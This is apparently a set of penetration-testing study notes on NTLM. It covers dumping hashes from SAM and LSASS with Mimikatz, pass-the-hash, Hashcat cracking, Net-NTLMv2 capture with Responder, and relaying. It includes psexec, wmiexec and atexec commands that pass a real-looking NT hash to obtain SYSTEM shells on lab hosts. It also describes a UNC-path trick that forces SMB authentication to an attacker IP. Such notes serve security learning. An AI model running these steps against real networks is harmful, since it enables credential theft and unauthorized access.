NTLM
Basic Information
Windows stores hashed user passwords in the Security Account Manager (SAM) database file, which is used to authenticate local or remote users. On modern systems, the hashes in the SAM are stored as NTLM hashes. This hash implementation addresses many weaknesses of LM. For example, passwords are case-sensitive and are no longer split into smaller, weaker parts. However, NTLM hashes stored in the SAM database are not salted.
We cannot just copy, rename, or move the SAM database from C:\Windows\system32\config\sam while the Windows operating system is running because the kernel keeps an exclusive file system lock on the file. Fortunately, we can use he Mimikatz tool to do the heavy lifting and bypass this restriction. MImikatz provides the functionality to extract plain-text passwords and password hashes from verious sources in Windows and leverage them in further attacks like pass-the-hash. Mimikatz also includes the sekurlsa module which extracts password hashes from the Local Security Authority Subsystem (LSASS) process memory.
LSASS
LSASS is a process in Windows that handles user authentication, password changes, and access token creation. LSASS is important for us because it catches NTLM hashes and other credentials, which we can extract using the sekurlsa Mimikatz module. We need to understand that LSASS runs under the SYSTEM use and is therefore even more privileged than a process started as Administrator.
Due to this, we can only extract passwords if we are running Mimikatz as Administrator or higher and have the SeDebugPrivilege access right enabled. This access right grants us the ability to debug not only the process we own but also all other users' processes.
Privileges can be elevated to the SYSTEM account with tools like PsExec or the built-in Mimikatz token elevation function to obtain the required privileges. The token elevation function requires the SeImpersonatePrivilege access rights to work, but all local administrators have it by default.
Pass-the-Hash Attack
Once you have the NTLM hash of an account, you can use it to impersonate the account. You need to use a tool that will perform the NTLM authentication using that hash, or you could create a new session logon and inject that hash inside the LSASS, so when any NTLM authentication is performed, that hash will be used. This is what mimikatz does.
This is possible because NTLM/LM password hashes are not salted and remain static between sessions. Moreover, if we discover a password hash on one target, we can use it to not only authenticate to that target, but to another target as well as long as the second target has an account with the same username and password. To leverage this into code execution of any kind, the account also needs administrative privileges on the second target.
If we don't use the local Administrator user in pass-the-hash, the target machine also needs to be configured in a certain way to obtain successful code execution. Since Windows Vista, all Windows versions have UAC remote restrictions enabled by default. This prevents software or commands from running with administrative rights on remote systems. This effectively mitigates this attack vector for users in the local administrator group aside from the local Administrator account.
Mimikatz
(needs to be run as administrator)
This will launch a process that will belong to the user that launched mimikatz but internally in LSASS the saved credentials are the ones inside the mimikatz parameters. Then, you can access network resources as if you were that user (similar to the runas /netonly trick but you don't need to know the plain-text password).
smbclient
Pass the hash with smbclient
CrackMapExec
Pass the hash with CrackMapExec
Impacket Windows Compiled Tools
psexec_windows.exe
PSExec will ALWAYS return a shell as nt authority\system
C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local
impacket-psexec takes two arguments, the first argument is hashes with a format of "LMHash:NTHash", in which we specify the Administrator NTLM hash after the colon. Since we only use the NTLM hash, we can fill the LMHash section with 32 0's.
Second argument is the target definition in the format "username@ip".
wmiexec.exe
Will obtain a shell as the user we used for authentication.
wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local
atexec.exe
(In this case you need to specify a command, cmd.exe and powershell.exe are not valid to obtain an interactive shell)C:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'
Cracking NTLM Hashes
Dumping NTLM hashes with Mimikatz
Using the sekurlsa module, we can attempt to extract plaintext passwords and password hashes from all available sources using:
We can also extract all NTLM hashes from the SAM using
For this command, we must first enter
to elevate to SYSTEM user privileges and we will need to SeDebugPrivilege access right enable, which can be accomplished using:
Extracting NTLM Hashes from SAM and SYSTEM Registry Hive
Great website explaining how.
Cracking with Hashcat
Once we have the NTLM hash for a user, we can retrieve the correct hash mode from Hashcat's help output:
We now have everything needed to start cracking the hash. The next step is to choose a wordlist and a rule file. For example, we will use the rockyou.txt wordlist with the best64.rule rule file which contains 64 effective rules.
Cracking Net-NTLMv2
In some instances, we may obtain code execution or a shell on a Windows system as an unprivileged user. This means that we cannot use tools like Mimikatz to extract passwords or NTLM hashes. In situations like these, we can abuse the Net-NTLMv2 network authentication protocol. This protocol is responsible for managing the authentication process for Windows clients and servers over a network.
How the attack works
At a high level, we send the server a request outlining the connection details to access the SMB share. Then the server will send us a challenge in which we encrypt data for our response with our NTLM hash to prove our identity. The server will then check our challenge response and either grant or deny access, accordingly.
However, our specific goals is to use Net-NTLMv2 as it is less secure than the more modern Kerberos protocol. This is common in the real-world since the majority of Windows environments still rely on the older protocol, especially as a way to support older devices that may not support Kerberos.
Since we'll find NetNTLMv2 in nearly all Windows networks and environments, it is vital to understand how we can abuse its weaknesses. To do this, we need our target to start an authentication process using Net-NTLMv2 against a system we control. We need to prepare our system so that it handles the authentication process and shows us the Net-NTLMv2 hash the target used to authenticate.
Responder
The Responder tool is excellent for this. It includes a built-in SMB server that handles the authentication process for us and prints all captured Net-NTLMv2 hashes. While it also includes other protocol servers (including HTTP and FTP) as well as Link-Local Multicast Name Resolution (LLMNR), NetBIOS Name Service (NBT-NS), and Multicast DNS (MDNS) poisoning capabilities, we'll focus on capturing Net-NTLMv2 hashes with the SMB server in this section.
If we've obtained code execution on a remote system, we can easily force it to authenticate with us by commanding it o connect to our prepared SMB server. For example, we can simply run ls \\192.168.119.2\share in PowerShell assuming our responder is listening on that IP. If we don't have code execution, we can also use other vecotrs to force an authentication. For example, when we discover a file upload form in a web application on a Windows server, we can try to enter a non-existing file with a UNC path like \\192.168.119.2\share\nonexistent.txt. If the web applications supports uploads via SMB, the Windows server will authenticate to our SMB server.
Once we have Responder listening for events and the SMB server is active, our next step is request access to a non-existent SMB share on our Responder SMB server. We can do this with a dir listing of \\192.168.119.2\test, in which "test" is an arbitrary directory name. We are only interested in the authentication process, not a share listing.
Once we've captured the Net-NTLMv2 hash we can save it onto our local machine as a file and begin cracking it.
Hashcat
NetNTLMv2 Cracking Code: 5600
Relaying NetNTLMv2
If you cannot crack at NetNTLMv2 hash, and if we can assume that a user may be a local administrator on a host, then we can try to use the hash on another machine in what is known as a relay attack.
In this attack, we'll gain an Net-NTLMv2 hash from a user on the host FILES01. If the user is also a local user of FILE02, the authentication is valid and therefore will be accepted by the machine. If the relayed authentication is from a user with local administrative privileges, we can use it to authenticate and then execute commands over SMB with methods similar to psexec and wmiexec.
ntlmrelayx
Last updated